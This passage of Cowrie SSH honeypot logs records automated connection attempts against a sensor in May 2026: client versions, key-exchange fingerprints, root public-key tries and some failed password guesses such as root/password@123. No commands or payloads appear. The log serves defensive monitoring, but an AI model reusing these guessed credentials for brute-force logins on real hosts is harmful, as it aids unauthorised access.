{"eventid":"cowrie.session.connect","src_ip":"65.181.112.131","src_port":52636,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6f8275a1868","protocol":"ssh","message":"New connection: 65.181.112.131:52636 (10.17.0.5:22) [session: f6f8275a1868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.174538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.178760Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.221162Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":5288,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c990d4ba541","protocol":"ssh","message":"New connection: 182.253.79.194:5288 (10.17.0.5:22) [session: 2c990d4ba541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.412409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.416489Z","src_ip":"182.253.79.194","session":"2c990d4ba541","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:49:c7:5d:ef:ab:26:c5:cc:a2:0a:dd:16:c9:a6:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUsmfsX9sAHgUb+Vbmnc6Xygt0X4Hm0uhMpRo4shCpsZww6SI1vA48MhF2gp8EELBs56Np2uZa5Nywb8XPUdzTe7SYMdf2Ut5aRBuaGXF5kD0F1D4Jb6XuA6CfZkanYQaTJBMo+7zfHvYH87b0M+f+0KmcNlttPf0VV5ucxQEZ9RyRQ88d2xB8w+kNUpliLfQiVmxEQqcVlW7F2ej9UoWM2KBMrWwFYCVtCqmGOA0dWajEslT9ftZRZ+SfvNB4mGWdrjWGKLmHxL7GJV8mrwl9Hgc9vMo9RW0dH9mjugVDno+h8RATFfxjPu+baiz0O3ilZOg++1Sgy4WgJeqPsV2Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:49:c7:5d:ef:ab:26:c5:cc:a2:0a:dd:16:c9:a6:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.420552Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:49:c7:5d:ef:ab:26:c5:cc:a2:0a:dd:16:c9:a6:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUsmfsX9sAHgUb+Vbmnc6Xygt0X4Hm0uhMpRo4shCpsZww6SI1vA48MhF2gp8EELBs56Np2uZa5Nywb8XPUdzTe7SYMdf2Ut5aRBuaGXF5kD0F1D4Jb6XuA6CfZkanYQaTJBMo+7zfHvYH87b0M+f+0KmcNlttPf0VV5ucxQEZ9RyRQ88d2xB8w+kNUpliLfQiVmxEQqcVlW7F2ej9UoWM2KBMrWwFYCVtCqmGOA0dWajEslT9ftZRZ+SfvNB4mGWdrjWGKLmHxL7GJV8mrwl9Hgc9vMo9RW0dH9mjugVDno+h8RATFfxjPu+baiz0O3ilZOg++1Sgy4WgJeqPsV2Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.423584Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:83:0f:73:4f:cb:d3:4d:5f:a0:d8:de:96:f3:a9:e9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFiT9ZzHZ4RozOg0Zdsx/E/va1f7xB8JoWT/03nxd0A/","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fd:83:0f:73:4f:cb:d3:4d:5f:a0:d8:de:96:f3:a9:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.469591Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:83:0f:73:4f:cb:d3:4d:5f:a0:d8:de:96:f3:a9:e9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFiT9ZzHZ4RozOg0Zdsx/E/va1f7xB8JoWT/03nxd0A/","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.473543Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:7f:90:44:e3:fd:cf:98:16:c5:3b:90:60:16:c9:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHdzCr72RAWoH67ucMYJFzDwYIydJZWUboYayHcEVWVH1WdoCGXa70l/zQJn+x/5Ldnzv0nW+fTcZLaF4JN1DCUYyC46V8oQv+qC+4JSBGVx5OB4uPk4deEvwqiXwQbka0c3/z3RzI6jtcUO5t5pxZY3MrZaikVJ+wuZCIwz5qjrcnfEVlSC9WaN5uECn9OQJ8e8P/jgZexRO1fvNYl2QM4U4qZT4Tms96FtJBYIq9POXYJfm7PDKTePWycyRMDxoZ57UATq98nqQxUSXYzIZvj9GGtoWaMQ4F4MFAqlz4/aThK1wTL/uBB9HFZbBF61RMlWENvIKMdeJuxmKTAXhB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:7f:90:44:e3:fd:cf:98:16:c5:3b:90:60:16:c9:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.517320Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:7f:90:44:e3:fd:cf:98:16:c5:3b:90:60:16:c9:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHdzCr72RAWoH67ucMYJFzDwYIydJZWUboYayHcEVWVH1WdoCGXa70l/zQJn+x/5Ldnzv0nW+fTcZLaF4JN1DCUYyC46V8oQv+qC+4JSBGVx5OB4uPk4deEvwqiXwQbka0c3/z3RzI6jtcUO5t5pxZY3MrZaikVJ+wuZCIwz5qjrcnfEVlSC9WaN5uECn9OQJ8e8P/jgZexRO1fvNYl2QM4U4qZT4Tms96FtJBYIq9POXYJfm7PDKTePWycyRMDxoZ57UATq98nqQxUSXYzIZvj9GGtoWaMQ4F4MFAqlz4/aThK1wTL/uBB9HFZbBF61RMlWENvIKMdeJuxmKTAXhB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.521728Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:c4:cb:32:09:56:09:bc:12:d5:95:22:60:0e:57:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9JnnooUwmfU3fyOBP4q/zlbbraNexQIrBzevSqwSMHOYmP/CXb1/3l9jJag0RBAQWTFlqJ7hBBwraNLTseHIi641LxJ0rQb0LZ7QzHS9rhKJ+SynAvqob4FvI3W/LCJDQt1k7H9LXaVgDnekiqlaZxfMhhc8KBL947poWDTlYJwxb+4dlXqnMjpR+ppn+55SHw3+lQo8CRRBkxF4HY3aRmyT80m8+BwhVwiQGsdNusf2NQrgjXmz12wJUgG0cyHk5XS28ulzkM6WzPaFyBACsu6n4RTtl2xSxcgL6TbaKxTIEZ9ZJeG7UUlv1SgGNdO1SOft6dh8dNqlIv39G54tVWbm15MK3e69bUYEitQMBZRUI2K4oY3os8SbuwOvVOa516CtMESepRGW567TzBIGVvVrB4sZeLeI7CrKVX4ijETyS6yLOR17VfWotHp/TCGO2qypz+469kr7RuydNqkte/gMTY5QzHKRY+51elM+oVW8wxqlVzd0sba1uXVFBqvdRgS+DtjgttP1FvE6EoewBzFfjD1PjBnS5s8FYS+ZKxblM+0KuBu60F7vzIfzJ7Yisn9rUwTmqqTOb/7Gkojfx7VWLK93qx9pXW9DC2u76bgYf3+3iMvxG4+CwkEqdsQe9UiOBKw/jpTA+UYGXEBNyIlWZzLVZurQGf5oFlSc3bQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:c4:cb:32:09:56:09:bc:12:d5:95:22:60:0e:57:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.565303Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:c4:cb:32:09:56:09:bc:12:d5:95:22:60:0e:57:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9JnnooUwmfU3fyOBP4q/zlbbraNexQIrBzevSqwSMHOYmP/CXb1/3l9jJag0RBAQWTFlqJ7hBBwraNLTseHIi641LxJ0rQb0LZ7QzHS9rhKJ+SynAvqob4FvI3W/LCJDQt1k7H9LXaVgDnekiqlaZxfMhhc8KBL947poWDTlYJwxb+4dlXqnMjpR+ppn+55SHw3+lQo8CRRBkxF4HY3aRmyT80m8+BwhVwiQGsdNusf2NQrgjXmz12wJUgG0cyHk5XS28ulzkM6WzPaFyBACsu6n4RTtl2xSxcgL6TbaKxTIEZ9ZJeG7UUlv1SgGNdO1SOft6dh8dNqlIv39G54tVWbm15MK3e69bUYEitQMBZRUI2K4oY3os8SbuwOvVOa516CtMESepRGW567TzBIGVvVrB4sZeLeI7CrKVX4ijETyS6yLOR17VfWotHp/TCGO2qypz+469kr7RuydNqkte/gMTY5QzHKRY+51elM+oVW8wxqlVzd0sba1uXVFBqvdRgS+DtjgttP1FvE6EoewBzFfjD1PjBnS5s8FYS+ZKxblM+0KuBu60F7vzIfzJ7Yisn9rUwTmqqTOb/7Gkojfx7VWLK93qx9pXW9DC2u76bgYf3+3iMvxG4+CwkEqdsQe9UiOBKw/jpTA+UYGXEBNyIlWZzLVZurQGf5oFlSc3bQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.568818Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:18:06:41:1c:08:b8:b7:16:a6:42:5f:a2:e8:51:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuhu5JY+D0E2N1A/25iIQcDrLgOTDniToKKD3MYlyI598gG1CVYt557lzAX7TNdOdIYTvyCtCe4Y9DGE9Ni4exJMniNv6gZ+QYoWm+fae7F52bO0ZeZJS8QLHxOZRg93m2Bggrum7GByjqHEL9AboKT2jbI9JoBXmtuVTwuu3YTVuITZ7gieIJxyeS2e3Fhdl+OrluMhJFxaPNYLnJ75ueCeOqM94fxedqviFxKmsdR2/mduQr5OcD5995hqY1OimwgnJGz6kMHHjVEHhZIF0c+9tnT52yNr5do/Cq1k8Xg8QmSGuHJvQAs9hgD58V0jGdQShMoag758dWZeFi7sv4c10P9yibL8s3okCeXQh4Lnk0vtyi6NPxaitqEtHGs2dTioH5y8lh+FURUQVpJkar6j8Y1Ci5QYEKY3ap0BHAMtoqbS+MiY8j+BRROfjkJDqCsRlsFiFzkI0Ju8CLW15RjY6RuvFztzjqfWtr946A0p1Wmb7mIVu+PHQ/P99C9SKI4tzayDSDODKLmJKXd7OInbnkcY1/QTzuCi9B8/d+Dkb/VTceKqHHIIRUAJg4q7sCbh441CkhX2Q9Nio5O9R2fIAg3uBaZZA90Kgr7gegNxdxe+wR1LfTBAIFXFItT7iWpa+ZXBrOK4Uy7VVFAdqlzNLBxVxYunSb4vPzGxpMrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:18:06:41:1c:08:b8:b7:16:a6:42:5f:a2:e8:51:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.612643Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:18:06:41:1c:08:b8:b7:16:a6:42:5f:a2:e8:51:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuhu5JY+D0E2N1A/25iIQcDrLgOTDniToKKD3MYlyI598gG1CVYt557lzAX7TNdOdIYTvyCtCe4Y9DGE9Ni4exJMniNv6gZ+QYoWm+fae7F52bO0ZeZJS8QLHxOZRg93m2Bggrum7GByjqHEL9AboKT2jbI9JoBXmtuVTwuu3YTVuITZ7gieIJxyeS2e3Fhdl+OrluMhJFxaPNYLnJ75ueCeOqM94fxedqviFxKmsdR2/mduQr5OcD5995hqY1OimwgnJGz6kMHHjVEHhZIF0c+9tnT52yNr5do/Cq1k8Xg8QmSGuHJvQAs9hgD58V0jGdQShMoag758dWZeFi7sv4c10P9yibL8s3okCeXQh4Lnk0vtyi6NPxaitqEtHGs2dTioH5y8lh+FURUQVpJkar6j8Y1Ci5QYEKY3ap0BHAMtoqbS+MiY8j+BRROfjkJDqCsRlsFiFzkI0Ju8CLW15RjY6RuvFztzjqfWtr946A0p1Wmb7mIVu+PHQ/P99C9SKI4tzayDSDODKLmJKXd7OInbnkcY1/QTzuCi9B8/d+Dkb/VTceKqHHIIRUAJg4q7sCbh441CkhX2Q9Nio5O9R2fIAg3uBaZZA90Kgr7gegNxdxe+wR1LfTBAIFXFItT7iWpa+ZXBrOK4Uy7VVFAdqlzNLBxVxYunSb4vPzGxpMrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.616391Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.661895Z","src_ip":"65.181.112.131","session":"f6f8275a1868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:47.679057Z","src_ip":"182.253.79.194","session":"2c990d4ba541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sipv","password":"sipv","message":"login attempt [sipv/sipv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:48.762173Z","src_ip":"182.253.79.194","session":"2c990d4ba541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:50.029791Z","src_ip":"182.253.79.194","session":"2c990d4ba541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":51914,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcce2e79233d","protocol":"ssh","message":"New connection: 15.204.225.76:51914 (10.17.0.5:22) [session: fcce2e79233d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:58.140276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:58.145342Z","src_ip":"15.204.225.76","session":"fcce2e79233d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:58.156526Z","src_ip":"15.204.225.76","session":"fcce2e79233d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password@123","message":"login attempt [root/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:58.234229Z","src_ip":"15.204.225.76","session":"fcce2e79233d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:33:59.248213Z","src_ip":"15.204.225.76","session":"fcce2e79233d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":37032,"dst_ip":"10.17.0.5","dst_port":22,"session":"611eef20e3d6","protocol":"ssh","message":"New connection: 115.91.48.142:37032 (10.17.0.5:22) [session: 611eef20e3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:14.266126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:14.271876Z","src_ip":"115.91.48.142","session":"611eef20e3d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:14.485062Z","src_ip":"115.91.48.142","session":"611eef20e3d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Test123","message":"login attempt [user/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:15.354674Z","src_ip":"115.91.48.142","session":"611eef20e3d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:16.565541Z","src_ip":"115.91.48.142","session":"611eef20e3d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":40342,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cb2bcb9b522","protocol":"ssh","message":"New connection: 40.117.97.0:40342 (10.17.0.5:22) [session: 2cb2bcb9b522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:21.196766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:21.238219Z","src_ip":"40.117.97.0","session":"2cb2bcb9b522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.